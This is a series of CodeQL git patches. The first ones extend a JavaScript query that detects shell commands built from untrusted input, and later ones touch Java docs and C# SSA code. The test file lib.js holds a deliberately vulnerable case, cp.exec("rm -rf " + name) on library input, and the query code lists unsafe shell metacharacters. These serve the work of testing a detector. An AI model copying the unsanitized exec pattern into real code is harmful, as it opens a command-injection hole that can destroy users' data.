[PATCH 0453/1241] support sanitizers that sanitize individual chars in js/shell-command-constructed-from-input --- ...ShellCommandConstructionCustomizations.qll | 46 +++++++++++++++++-- .../UnsafeShellCommandConstruction.expected | 9 ++++ .../query-tests/Security/CWE-078/lib/lib.js | 40 ++++++++++++++++ 3 files changed, 90 insertions(+), 5 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll index 12769f966fa..beffdc0312e 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll @@ -161,16 +161,19 @@ module UnsafeShellCommandConstruction { } } + /** + * Gets all the unsafe shell chars. + */ + private string getAShellChar() { + result = ["&", "`", "$", "|", ">", "<", "#", ";", "(", ")", "[", "]", "\n"] + } + /** * A chain of replace calls that replaces all unsafe chars for shell-commands. */ class ChainSanitizer extends Sanitizer, IncompleteBlacklistSanitizer::StringReplaceCallSequence { ChainSanitizer() { - forall(string char | - char = ["&", "`", "$", "|", ">", "<", "#", ";", "(", ")", "[", "]", "\n"] - | - this.getAMember().getAReplacedString() = char - ) + forall(string char | char = getAShellChar() | this.getAMember().getAReplacedString() = char) } } @@ -208,4 +211,37 @@ module UnsafeShellCommandConstruction { e = x } } + + private import semmle.javascript.dataflow.internal.AccessPaths + private import semmle.javascript.dataflow.InferredTypes + + /** + * Holds if `instance` is an instance of the access-path `ap`, and there exists a guard + * that ensures that `instance` is not equal to `char`. + */ + private predicate blocksCharInAccess(AccessPath ap, string char, Expr instance) { + exists(BasicBlock bb, ConditionGuardNode guard, EqualityTest test | + test.getAnOperand().mayHaveStringValue(char) and + char = getAShellChar() and + guard.getTest() = test and + guard.dominates(bb) and + test.getAnOperand() = ap.getAnInstance() and + instance = ap.getAnInstanceIn(bb) and + guard.getOutcome() != test.getPolarity() + ) + } + + /** + * A sanitizer for a single char, where the char cannot be an unsafe shell char. + */ + class SanitizedChar extends Sanitizer, DataFlow::ValueNode { + override PropAccess astNode; + + SanitizedChar() { + exists(AccessPath ap | this.asExpr() = ap.getAnInstance() | + forall(string char | char = getAShellChar() | blocksCharInAccess(ap, char, astNode)) + ) and + astNode.getPropertyNameExpr().analyze().getTheType() = TTNumber() + } + } } diff --git a/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction.expected b/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction.expected index 15f54b7e5cb..2d707e1a693 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction.expected +++ b/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction.expected @@ -201,6 +201,10 @@ nodes | lib/lib.js:361:20:361:34 | opts.learn_args | | lib/lib.js:366:28:366:42 | this.learn_args | | lib/lib.js:366:28:366:42 | this.learn_args | +| lib/lib.js:405:39:405:42 | name | +| lib/lib.js:405:39:405:42 | name | +| lib/lib.js:406:22:406:25 | name | +| lib/lib.js:406:22:406:25 | name | edges | lib/lib2.js:3:28:3:31 | name | lib/lib2.js:4:22:4:25 | name | | lib/lib2.js:3:28:3:31 | name | lib/lib2.js:4:22:4:25 | name | @@ -436,6 +440,10 @@ edges | lib/lib.js:361:20:361:23 | opts | lib/lib.js:361:20:361:34 | opts.learn_args | | lib/lib.js:361:20:361:34 | opts.learn_args | lib/lib.js:366:28:366:42 | this.learn_args | | lib/lib.js:361:20:361:34 | opts.learn_args | lib/lib.js:366:28:366:42 | this.learn_args | +| lib/lib.js:405:39:405:42 | name | lib/lib.js:406:22:406:25 | name | +| lib/lib.js:405:39:405:42 | name | lib/lib.js:406:22:406:25 | name | +| lib/lib.js:405:39:405:42 | name | lib/lib.js:406:22:406:25 | name | +| lib/lib.js:405:39:405:42 | name | lib/lib.js:406:22:406:25 | name | #select | lib/lib2.js:4:10:4:25 | "rm -rf " + name | lib/lib2.js:3:28:3:31 | name | lib/lib2.js:4:22:4:25 | name | $@ based on library input is later used in $@. | lib/lib2.js:4:10:4:25 | "rm -rf " + name | String concatenation | lib/lib2.js:4:2:4:26 | cp.exec ... + name) | shell command | | lib/lib2.js:8:10:8:25 | "rm -rf " + name | lib/lib2.js:7:32:7:35 | name | lib/lib2.js:8:22:8:25 | name | $@ based on library input is later used in $@. | lib/lib2.js:8:10:8:25 | "rm -rf " + name | String concatenation | lib/lib2.js:8:2:8:26 | cp.exec ... + name) | shell command | @@ -493,3 +501,4 @@ edges | lib/lib.js:340:10:340:26 | "rm -rf " + id(n) | lib/lib.js:339:39:339:39 | n | lib/lib.js:340:22:340:26 | id(n) | $@ based on library input is later used in $@. | lib/lib.js:340:10:340:26 | "rm -rf " + id(n) | String concatenation | lib/lib.js:340:2:340:27 | cp.exec ... id(n)) | shell command | | lib/lib.js:351:10:351:27 | "rm -rf " + unsafe | lib/lib.js:349:29:349:34 | unsafe | lib/lib.js:351:22:351:27 | unsafe | $@ based on library input is later used in $@. | lib/lib.js:351:10:351:27 | "rm -rf " + unsafe | String concatenation | lib/lib.js:351:2:351:28 | cp.exec ... unsafe) | shell command | | lib/lib.js:366:17:366:56 | "learn ... + model | lib/lib.js:360:20:360:23 | opts | lib/lib.js:366:28:366:42 | this.learn_args | $@ based on library input is later used in $@. | lib/lib.js:366:17:366:56 | "learn ... + model | String concatenation | lib/lib.js:367:3:367:18 | cp.exec(command) | shell command | +| lib/lib.js:406:10:406:25 | "rm -rf " + name | lib/lib.js:405:39:405:42 | name | lib/lib.js:406:22:406:25 | name | $@ based on library input is later used in $@. | lib/lib.js:406:10:406:25 | "rm -rf " + name | String concatenation | lib/lib.js:406:2:406:26 | cp.exec ... + name) | shell command | diff --git a/javascript/ql/test/query-tests/Security/CWE-078/lib/lib.js b/javascript/ql/test/query-tests/Security/CWE-078/lib/lib.js index 4a1618cfeb0..d1a885438ff 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/lib/lib.js +++ b/javascript/ql/test/query-tests/Security/CWE-078/lib/lib.js @@ -368,3 +368,43 @@ MyTrainer.prototype = { } }; module.exports.MyTrainer = MyTrainer; + + +function yetAnohterSanitizer(str) { + const s = str || ''; + let result = ''; + for (let i = 0; i <= 2000; i++) { + if (!(s[i] === undefined || + s[i] === '>' || + s[i] === '<' || + s[i] === '*' || + s[i] === '?' || + s[i] === '[' || + s[i] === ']' || + s[i] === '|' || + s[i] === '˚' || + s[i] === '$' || + s[i] === ';' || + s[i] === '&' || + s[i] === '(' || + s[i] === ')' || + s[i] === ']' || + s[i] === '#' || + s[i] === '\\' || + s[i] === '\t' || + s[i] === '\n' || + s[i] === '\'' || + s[i] === '`' || + s[i] === '"')) { + result = result + s[i]; + } + } + return result; +} + +module.exports.sanitizer3 = function (name) { + cp.exec("rm -rf " + name); // NOT OK + + var sanitized = yetAnohterSanitizer(name); + cp.exec("rm -rf " + sanitized); // OK +} From 8b03ab0c013af49a20ac8aad9492fff4f21c820f Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Thu, 7 Jan 2021 13:48:43 +0100 Subject: [PATCH 0454/1241] update docstring for `getAShellChar` Co-authored-by: Esben Sparre Andreasen <esbena@github.com> --- .../dataflow/UnsafeShellCommandConstructionCustomizations.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll index beffdc0312e..66cba4bd37c 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll @@ -162,7 +162,7 @@ module UnsafeShellCommandConstruction { } /** - * Gets all the unsafe shell chars. + * Gets an unsafe shell character. */ private string getAShellChar() { result = ["&", "`", "$", "|", ">", "<", "#", ";", "(", ")", "[", "]", "\n"] From 7eab08511b6b4491d1065d9c6f133eaed5de2743 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Thu, 7 Jan 2021 13:55:30 +0100 Subject: [PATCH 0455/1241] add source code examples to `blocksCharInAccess` --- ...UnsafeShellCommandConstructionCustomizations.qll | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll index 66cba4bd37c..af9f116de6e 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll @@ -218,6 +218,19 @@ module UnsafeShellCommandConstruction { /** * Holds if `instance` is an instance of the access-path `ap`, and there exists a guard * that ensures that `instance` is not equal to `char`. + * + * For example if `ap` is `str[i]` and `char` is `<`: + * ```JavaScript + * if (str[i] !== "<" && ...) { + * var foo = str[i]; // <- `instance` + * } + * ``` + * or + * ```JavaScript + * if (!(str[i] == "<" || ...)) { + * var foo = str[i]; // <- `instance` + * } + * ``` */ private predicate blocksCharInAccess(AccessPath ap, string char, Expr instance) { exists(BasicBlock bb, ConditionGuardNode guard, EqualityTest test | From 606d0946fcfbd0a4dbabda4885313bc70b1a095f Mon Sep 17 00:00:00 2001 From: luchua-bc <shengxin.canada@gmail.com> Date: Thu, 7 Jan 2021 14:05:12 +0000 Subject: [PATCH 0456/1241] Update qldoc --- .../code/java/frameworks/android/SharedPreferences.qll | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/java/ql/src/semmle/code/java/frameworks/android/SharedPreferences.qll b/java/ql/src/semmle/code/java/frameworks/android/SharedPreferences.qll index f526f1c272b..a3298fd70d8 100644 --- a/java/ql/src/semmle/code/java/frameworks/android/SharedPreferences.qll +++ b/java/ql/src/semmle/code/java/frameworks/android/SharedPreferences.qll @@ -1,3 +1,5 @@ +/** Provides classes related to `android.content.SharedPreferences`. */ + import java /** The interface `android.content.SharedPreferences`. */ @@ -20,7 +22,7 @@ class CreateEncryptedSharedPreferencesMethod extends Method { } } -/** Returns `android.content.SharedPreferences.Editor` from the `edit` call of `android.content.SharedPreferences`. */ +/** The method `android.content.SharedPreferences::edit`, which returns an `android.content.SharedPreferences.Editor`. */ class GetSharedPreferencesEditorMethod extends Method { GetSharedPreferencesEditorMethod() { this.getDeclaringType() instanceof SharedPreferences and @@ -34,7 +36,11 @@ class SharedPreferencesEditor extends Interface { SharedPreferencesEditor() { this.hasQualifiedName("android.content", "SharedPreferences$Editor") } } -/** A method that updates a key-value pair in a `android.content.SharedPreferences` through a `SharedPreferences.Editor`. The value is not written until a `StorePreferenceMethod` is called. */ +/** + * A method that updates a key-value pair in a + * `android.content.SharedPreferences` through a `SharedPreferences.Editor`. The + * value is not written until a `StorePreferenceMethod` is called. + */ class PutSharedPreferenceMethod extends Method { PutSharedPreferenceMethod() { this.getDeclaringType() instanceof SharedPreferencesEditor and From 8d77f4bac917969134feb5c1edcff7ddf52f359f Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Mon, 21 Dec 2020 15:25:26 +0100 Subject: [PATCH 0457/1241] C#: Remove `ImplicitUntrackedDefinition` --- .../semmle/code/csharp/controlflow/Guards.qll | 3 +- .../src/semmle/code/csharp/dataflow/SSA.qll | 284 ++++++------------ .../dataflow/internal/DataFlowPrivate.qll | 2 - .../csharp7/LocalTaintFlow.expected | 3 + .../dataflow/local/DataFlowStep.expected | 6 + .../dataflow/local/TaintTrackingStep.expected | 6 + .../dataflow/ssa/SsaDef.expected | 15 +- .../dataflow/ssa/SsaDefElement.expected | 15 +- .../dataflow/ssa/SsaDefLastRead.expected | 4 + .../dataflow/ssa/SsaRead.expected | 15 +- .../dataflow/ssa/SsaUltimateDef.expected | 15 +- 11 files changed, 124 insertions(+), 244 deletions(-) diff --git a/csharp/ql/src/semmle/code/csharp/controlflow/Guards.qll b/csharp/ql/src/semmle/code/csharp/controlflow/Guards.qll index 7cad1dff909..a9d95bd0084 100644 --- a/csharp/ql/src/semmle/code/csharp/controlflow/Guards.qll +++ b/csharp/ql/src/semmle/code/csharp/controlflow/Guards.qll @@ -621,8 +621,7 @@ private Ssa::Definition getAnSsaQualifier(Expr e, ControlFlow::Node cfn) { } private AssignableAccess getATrackedAccess(Ssa::Definition def, ControlFlow::Node cfn) { - result = def.getAReadAtNode(cfn) and - not def instanceof Ssa::ImplicitUntrackedDefinition + result = def.getAReadAtNode(cfn) or result = def.(Ssa::ExplicitDefinition).getADefinition().getTargetAccess() and cfn = def.getControlFlowNode() diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll b/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll index 487a32e6a83..4b99882e167 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll @@ -17,6 +17,12 @@ module Ssa { or this instanceof Property } + + /** + * Holds if the this field or any of the fields part of the qualifier + * are volatile. + */ + predicate isVolatile() { this.(Field).isVolatile() } } /** An instance field or property. */ @@ -43,10 +49,12 @@ module Ssa { c = v.getAnAccess().getEnclosingCallable() } or TPlainFieldOrProp(Callable c, FieldOrProp f) { - exists(FieldOrPropRead fr | isPlainFieldOrPropAccess(fr, f, c)) + exists(FieldOrPropRead fr | isPlainFieldOrPropAccess(fr, f, c)) and + trackFieldOrProp(f) } or TQualifiedFieldOrProp(Callable c, SourceVariable q, InstanceFieldOrProp f) { - exists(FieldOrPropRead fr | isQualifiedFieldOrPropAccess(fr, f, c, q)) + exists(FieldOrPropRead fr | isQualifiedFieldOrPropAccess(fr, f, c, q)) and + trackFieldOrProp(f) } /** Gets an access to source variable `v`. */ @@ -70,9 +78,9 @@ module Ssa { cached AssignableDefinition getADefinition(ExplicitDefinition def) { - exists(TrackedVar tv, AssignableDefinition ad | def = TSsaExplicitDef(tv, ad, _, _) | + exists(SourceVariable sv, AssignableDefinition ad | def = TSsaExplicitDef(sv, ad, _, _) | result = ad or - result = getASameOutRefDefAfter(tv, ad) + result = getASameOutRefDefAfter(sv, ad) ) } } @@ -360,6 +368,23 @@ module Ssa { predicate liveAfterWrite(BasicBlock bb, int i, SourceVariable v, ReadKind rk) { exists(int rnk | rnk = refRank(bb, i, v, Write(_)) | liveAtRank(bb, i, v, rnk, rk)) } + + /** + * Holds if `fp` is a field or a property that is interesting as a basis for SSA. + * + * - A volatile field is never interesting, since all reads must reread from + * memory and we are forced to assume that the value can change at any point. + * - A property is only interesting if it is "field-like", that is, it is a + * non-overridable trivial property. + */ + predicate trackFieldOrProp(FieldOrProp fp) { + not fp.isVolatile() and + ( + fp instanceof Field + or + fp = any(TrivialProperty p | not p.isOverridableOrImplementable()) + ) + } } private import SourceVariableImpl @@ -460,15 +485,6 @@ module Ssa { } override Location getLocation() { result = getFirstAccess().getLocation() } - - /** - * Holds if the this field or any of the fields part of the qualifier - * are volatile. - */ - predicate isVolatile() { - this.getAssignable().(Field).isVolatile() or - this.getQualifier().(FieldOrPropSourceVariable).isVolatile() - } } /** A plain field or property. */ @@ -498,93 +514,9 @@ module Ssa { private import SourceVariables - private module TrackedVariablesImpl { - /** Gets the number of accesses of field or property `fp`. */ - private int numberOfAccesses(FieldOrPropSourceVariable fp) { - result = strictcount(fp.getAnAccess()) - } - - /** Holds if field or property `fp` is accessed inside a loop. */ - private predicate loopAccessed(FieldOrPropSourceVariable fp) { - exists(FieldOrPropRead fpr | - fpr = fp.getAnAccess() and - fpr.getAControlFlowNode().getBasicBlock().inLoop() - ) - } - - /** Holds if field or property `fp` is accessed more than once or inside a loop. */ - private predicate multiAccessed(FieldOrPropSourceVariable fp) { - loopAccessed(fp) or 1 < numberOfAccesses(fp) - } - - /** - * Holds if `fp` is a field or a property that is interesting as a basis for SSA. - * - * - A field or property that is read twice is interesting as we want to know whether - * the reads refer to the same value. - * - A field or property that is both written and read is interesting as we want to - * know whether the read might get the written value. - * - A field or property that is read in a loop is interesting as we want to know whether - * the value is the same in different iterations (that is, whether the SSA - * definition can be placed outside the loop). - * - A volatile field is never interesting, since all reads must reread from - * memory and we are forced to assume that the value can change at any point. - * - A property is only interesting if it is "field-like", that is, it is a - * non-overridable trivial property. - */ - predicate trackFieldOrProp(FieldOrPropSourceVariable fp) { - multiAccessed(fp) and - not fp.isVolatile() and - exists(Assignable a | a = fp.getAssignable() | - a instanceof Field - or - a = any(TrivialProperty p | not p.isOverridableOrImplementable()) - ) - } - } - - private import TrackedVariablesImpl - - /** - * A source variable that gets a non-trivial SSA construction. - */ - private class TrackedVar extends SourceVariable { - TrackedVar() { - this instanceof LocalScopeSourceVariable or - trackFieldOrProp(this) - } - } - - /** - * A field or property that gets a non-trivial SSA construction. - */ - private class TrackedFieldOrProp extends TrackedVar, FieldOrPropSourceVariable { } - - /** - * A source variable that gets a trivial SSA construction, that is a - * definition prior to every read. - */ - private class UntrackedVar extends SourceVariable { - UntrackedVar() { not this instanceof TrackedVar } - } - private module SsaDefReaches { - /** A non-trivial SSA definition. */ - private class TrackedDefinition extends Definition { - TrackedDefinition() { - // Same as `not this instanceof ImplicitUntrackedDefinition` but - // avoids negative recursion - this instanceof ExplicitDefinition or - this instanceof ImplicitEntryDefinition or - this instanceof ImplicitCallDefinition or - this instanceof ImplicitQualifierDefinition or - this instanceof PseudoDefinition - } - } - /** - * A classification of SSA variable references into reads and non-trivial - * SSA definitions. + * A classification of SSA variable references into reads definitions. */ private newtype SsaRefKind = SsaRead() or @@ -592,8 +524,8 @@ module Ssa { /** * Holds if the `i`th node of basic block `bb` is a reference to `v`, - * either a read (when `k` is `Read()`) or a non-trivial SSA definition - * (when `k` is `SsaDef()`). + * either a read (when `k` is `Read()`) or an SSA definition (when `k` + * is `SsaDef()`). */ private predicate ssaRef(BasicBlock bb, int i, SourceVariable v, SsaRefKind k) { exists(ReadKind rk | variableRead(bb, i, v, _, rk) | @@ -601,7 +533,7 @@ module Ssa { k = SsaRead() ) or - exists(TrackedDefinition def | definesAt(def, bb, i, v)) and + exists(Definition def | definesAt(def, bb, i, v)) and k = SsaDef() } @@ -629,12 +561,10 @@ module Ssa { } /** - * Holds if the non-trivial SSA definition `def` reaches rank index `rankix` - * in its own basic block `bb`. + * Holds if the SSA definition `def` reaches rank index `rankix` in its own + * basic block `bb`. */ - private predicate ssaDefReachesRank( - BasicBlock bb, TrackedDefinition def, int rankix, TrackedVar v - ) { + private predicate ssaDefReachesRank(BasicBlock bb, Definition def, int rankix, SourceVariable v) { exists(int i | rankix = ssaRefRank(bb, i, v, SsaDef()) and definesAt(def, bb, i, v) @@ -645,12 +575,12 @@ module Ssa { } /** - * Holds if the non-trivial SSA definition of `v` at `def` reaches `read` in the + * Holds if the SSA definition of `v` at `def` reaches `read` in the * same basic block without crossing another SSA definition of `v`. * The read at `node` is of kind `rk`. */ private predicate ssaDefReachesReadWithinBlock( - TrackedVar v, TrackedDefinition def, ControlFlow::Node read, ReadKind rk + SourceVariable v, Definition def, ControlFlow::Node read, ReadKind rk ) { exists(BasicBlock bb, int rankix, int i | ssaDefReachesRank(bb, def, rankix, v) and @@ -660,12 +590,11 @@ module Ssa { } /** - * Holds if the non-trivial SSA definition of `v` at `def` reaches uncertain SSA - * definition `redef` in the same basic block, without crossing another SSA - * definition of `v`. + * Holds if the SSA definition of `v` at `def` reaches uncertain SSA definition + * `redef` in the same basic block, without crossing another SSA definition of `v`. */ private predicate ssaDefReachesUncertainDefWithinBlock( - TrackedVar v, TrackedDefinition def, UncertainDefinition redef + SourceVariable v, Definition def, UncertainDefinition redef ) { exists(BasicBlock bb, int rankix, int i | ssaDefReachesRank(bb, def, rankix, v) and @@ -678,7 +607,7 @@ module Ssa { * Same as `ssaRefRank()`, but restricted to actual reads of `def`, or * `def` itself. */ - private int ssaDefRank(TrackedDefinition def, TrackedVar v, BasicBlock bb, int i) { + private int ssaDefRank(Definition def, SourceVariable v, BasicBlock bb, int i) { v = def.getSourceVariable() and result = ssaRefRank(bb, i, v, _) and ( @@ -688,12 +617,12 @@ module Ssa { ) } - private int maxSsaDefRefRank(BasicBlock bb, TrackedVar v) { + private int maxSsaDefRefRank(BasicBlock bb, SourceVariable v) { result = ssaDefRank(_, v, bb, _) and not result + 1 = ssaDefRank(_, v, bb, _) } - private predicate varOccursInBlock(TrackedDefinition def, BasicBlock bb, TrackedVar v) { + private predicate varOccursInBlock(Definition def, BasicBlock bb, SourceVariable v) { exists(ssaDefRank(def, v, bb, _)) } @@ -710,7 +639,7 @@ module Ssa { * and the underlying variable for `def` is neither read nor written in any block * on the path between `bb1` and `bb2`. */ - private predicate varBlockReaches(TrackedDefinition def, BasicBlock bb1, BasicBlock bb2) { + private predicate varBlockReaches(Definition def, BasicBlock bb1, BasicBlock bb2) { varOccursInBlock(def, bb1, _) and bb2 = bb1.getASuccessor() or @@ -724,9 +653,7 @@ module Ssa { * `def` is read at `cfn`, `cfn` is in a transitive successor block of `bb1`, * and `def` is not read in any block on the path between `bb1` and `cfn`. */ - private predicate varBlockReachesRead( - TrackedDefinition def, BasicBlock bb1, ControlFlow::Node cfn - ) { + private predicate varBlockReachesRead(Definition def, BasicBlock bb1, ControlFlow::Node cfn) { exists(BasicBlock bb2, int i2 | varBlockReaches(def, bb1, bb2) and ssaRefRank(bb2, i2, def.getSourceVariable(), SsaRead()) = 1 and @@ -739,9 +666,7 @@ module Ssa { * or a write), `def` is read at `cfn`, and there is a path between them without * any read of `def`. */ - private predicate adjacentVarRead( - TrackedDefinition def, BasicBlock bb1, int i1, ControlFlow::Node cfn - ) { + private predicate adjacentVarRead(Definition def, BasicBlock bb1, int i1, ControlFlow::Node cfn) { exists(int rankix, int i2 | rankix = ssaDefRank(def, _, bb1, i1) and rankix + 1 = ssaDefRank(def, _, bb1, i2) and @@ -755,14 +680,13 @@ module Ssa { cached private module Cached { /** - * Holds if `cfn` is a last read of the non-trivial SSA definition `def`. - * That is, `cfn` can reach the end of the enclosing callable, or another - * SSA definition for the underlying source variable, without passing through - * another read. + * Holds if `cfn` is a last read of the SSA definition `def`. That is, `cfn` + * can reach the end of the enclosing callable, or another SSA definition for + * the underlying source variable, without passing through another read. */ cached - predicate lastRead(TrackedDefinition def, ControlFlow::Node cfn) { - exists(BasicBlock bb1, int i1, int rnk, TrackedVar v | + predicate lastRead(Definition def, ControlFlow::Node cfn) { + exists(BasicBlock bb1, int i1, int rnk, SourceVariable v | variableRead(bb1, i1, v, cfn, _) and rnk = ssaDefRank(def, v, bb1, i1) | @@ -788,9 +712,7 @@ module Ssa { } pragma[noinline] - private predicate ssaDefReachesEndOfBlockRec( - BasicBlock bb, TrackedDefinition def, TrackedVar v - ) { + private predicate ssaDefReachesEndOfBlockRec(BasicBlock bb, Definition def, SourceVariable v) { exists(BasicBlock idom | ssaDefReachesEndOfBlock(idom, def, v) | // The construction of SSA form ensures that each read of a variable is // dominated by its definition. An SSA definition therefore reaches a @@ -803,12 +725,12 @@ module Ssa { } /** - * Holds if the non-trivial SSA definition of `v` at `def` reaches the end of a - * basic block `bb`, at which point it is still live, without crossing another + * Holds if the SSA definition of `v` at `def` reaches the end of a basic + * block `bb`, at which point it is still live, without crossing another * SSA definition of `v`. */ cached - predicate ssaDefReachesEndOfBlock(BasicBlock bb, TrackedDefinition def, TrackedVar v) { + predicate ssaDefReachesEndOfBlock(BasicBlock bb, Definition def, SourceVariable v) { exists(int last | last = maxSsaRefRank(bb, v) | ssaDefReachesRank(bb, def, last, v) and liveAtExit(bb, v, _) @@ -820,13 +742,12 @@ module Ssa { } /** - * Holds if the non-trivial SSA definition of `v` at `def` reaches `read` without - * crossing another SSA definition of `v`. - * The read at `node` is of kind `rk`. + * Holds if the SSA definition of `v` at `def` reaches `read` without crossing + * another SSA definition of `v`. The read at `node` is of kind `rk`. */ cached predicate ssaDefReachesRead( - TrackedVar v, TrackedDefinition def, ControlFlow::Node read, ReadKind rk + SourceVariable v, Definition def, ControlFlow::Node read, ReadKind rk ) { ssaDefReachesReadWithinBlock(v, def, read, rk) or @@ -838,12 +759,12 @@ module Ssa { } /** - * Holds if the non-trivial SSA definition of `v` at `def` reaches uncertain SSA - * definition `redef` without crossing another SSA definition of `v`. + * Holds if the SSA definition of `v` at `def` reaches uncertain SSA definition + * `redef` without crossing another SSA definition of `v`. */ cached predicate ssaDefReachesUncertainDef( - TrackedVar v, TrackedDefinition def, UncertainDefinition redef + SourceVariable v, Definition def, UncertainDefinition redef ) { ssaDefReachesUncertainDefWithinBlock(v, def, redef) or @@ -855,11 +776,11 @@ module Ssa { } /** - * Holds if the value defined at non-trivial SSA definition `def` can reach a - * read at `cfn`, without passing through any other read. + * Holds if the value defined at SSA definition `def` can reach a read at `cfn`, + * without passing through any other read. */ cached - predicate firstReadSameVar(TrackedDefinition def, ControlFlow::Node cfn) { + predicate firstReadSameVar(Definition def, ControlFlow::Node cfn) { exists(BasicBlock bb1, int i1 | definesAt(def, bb1, i1, _) and adjacentVarRead(def, bb1, i1, cfn) @@ -873,7 +794,7 @@ module Ssa { */ cached predicate adjacentReadPairSameVar( - TrackedDefinition def, ControlFlow::Node cfn1, ControlFlow::Node cfn2 + Definition def, ControlFlow::Node cfn1, ControlFlow::Node cfn2 ) { exists(BasicBlock bb1, int i1 | variableRead(bb1, i1, _, cfn1, _) and @@ -981,7 +902,7 @@ module Ssa { fpdef.getTarget() = fp and not init(fpdef) and fpdef.getEnclosingCallable() = c and - exists(TrackedFieldOrProp tf | tf.getAssignable() = fp) + exists(FieldOrPropSourceVariable tf | tf.getAssignable() = fp) } /** @@ -1173,7 +1094,7 @@ module Ssa { * an update somewhere, and `fp` is likely to be live in `bb` at index * `i`. */ - private predicate updateCandidate(BasicBlock bb, int i, TrackedFieldOrProp fp, Call call) { + private predicate updateCandidate(BasicBlock bb, int i, FieldOrPropSourceVariable fp, Call call) { possiblyLiveAtAllNodes(bb, fp) and callAt(bb, i, call) and relevantDefinition(_, fp.getAssignable(), _) and @@ -1181,11 +1102,11 @@ module Ssa { } private predicate source( - Call call, TrackedFieldOrProp tfp, FieldOrProp fp, Callable c, boolean fresh + Call call, FieldOrPropSourceVariable fps, FieldOrProp fp, Callable c, boolean fresh ) { - updateCandidate(_, _, tfp, call) and + updateCandidate(_, _, fps, call) and c = getARuntimeTarget(call, _) and - fp = tfp.getAssignable() and + fp = fps.getAssignable() and if c instanceof Constructor then fresh = true else fresh = false } @@ -1259,13 +1180,13 @@ module Ssa { } private predicate updatesNamedFieldOrPropPossiblyLive( - BasicBlock bb, int i, TrackedFieldOrProp fp, Call call, Callable setter + BasicBlock bb, int i, FieldOrPropSourceVariable fp, Call call, Callable setter ) { updateCandidate(bb, i, fp, call) and updatesNamedFieldOrProp_(fp, call, setter) } - private int firstRefAfterCall(BasicBlock bb, int i, TrackedFieldOrProp fp) { + private int firstRefAfterCall(BasicBlock bb, int i, FieldOrPropSourceVariable fp) { updatesNamedFieldOrPropPossiblyLive(bb, i, fp, _, _) and result = min(int k | k > i and ref(bb, k, fp, _)) } @@ -1275,7 +1196,7 @@ module Ssa { * update occurs in `setter`. */ cached - predicate updatesNamedFieldOrProp(Call c, TrackedFieldOrProp fp, Callable setter) { + predicate updatesNamedFieldOrProp(Call c, FieldOrPropSourceVariable fp, Callable setter) { forceCachingInSameStage() and exists(BasicBlock bb, int i | updatesNamedFieldOrPropPossiblyLive(bb, i, fp, c, setter) | not exists(firstRefAfterCall(bb, i, fp)) and @@ -1784,16 +1705,14 @@ module Ssa { * properties, or captured variables). * 4. Implicit indirect definitions of variables through qualifier definitions * (fields or properties). - * 5. Implicit definitions of variables prior to all reads, for variables that - * are not amenable to SSA analysis (`UntrackedVar`). - * 6. Phi nodes. + * 5. Phi nodes. * * SSA definitions are only introduced where necessary. That is, dead assignments * have no associated SSA definitions. */ cached newtype TDefinition = - TSsaExplicitDef(TrackedVar v, AssignableDefinition def, BasicBlock bb, int i) { + TSsaExplicitDef(SourceVariable v, AssignableDefinition def, BasicBlock bb, int i) { variableDefinition(bb, i, v, def) and ( exists(ReadKind rk | liveAfterWrite(bb, i, v, rk) | @@ -1814,7 +1733,7 @@ module Ssa { liveAfterWriteCaptured(bb, i, v) ) } or - TSsaImplicitEntryDef(TrackedVar v, ControlFlow::BasicBlocks::EntryBlock ebb) { + TSsaImplicitEntryDef(SourceVariable v, ControlFlow::BasicBlocks::EntryBlock ebb) { liveAtEntry(ebb, v, _) and exists(Callable c | c = ebb.getCallable() and @@ -1828,10 +1747,10 @@ module Ssa { ) or // Each tracked field and property has an implicit entry definition - v instanceof TrackedFieldOrProp + v instanceof FieldOrPropSourceVariable ) } or - TSsaImplicitCallDef(TrackedVar v, Call c, BasicBlock bb, int i) { + TSsaImplicitCallDef(SourceVariable v, Call c, BasicBlock bb, int i) { bb.getNode(i) = c.getAControlFlowNode() and ( // Liveness of `v` after `c` is guaranteed by `updatesNamedFieldOrProp` @@ -1841,7 +1760,7 @@ module Ssa { updatesCapturedVariable(c, v, _, _) ) } or - TSsaImplicitQualifierDef(TrackedVar v, Definition qdef) { + TSsaImplicitQualifierDef(SourceVariable v, Definition qdef) { exists(BasicBlock bb, int i | qdef.getSourceVariable() = v.getQualifier() and qdef.definesAt(bb, i) and @@ -1854,17 +1773,13 @@ module Ssa { not exists(TSsaImplicitCallDef(v, _, bb, i)) 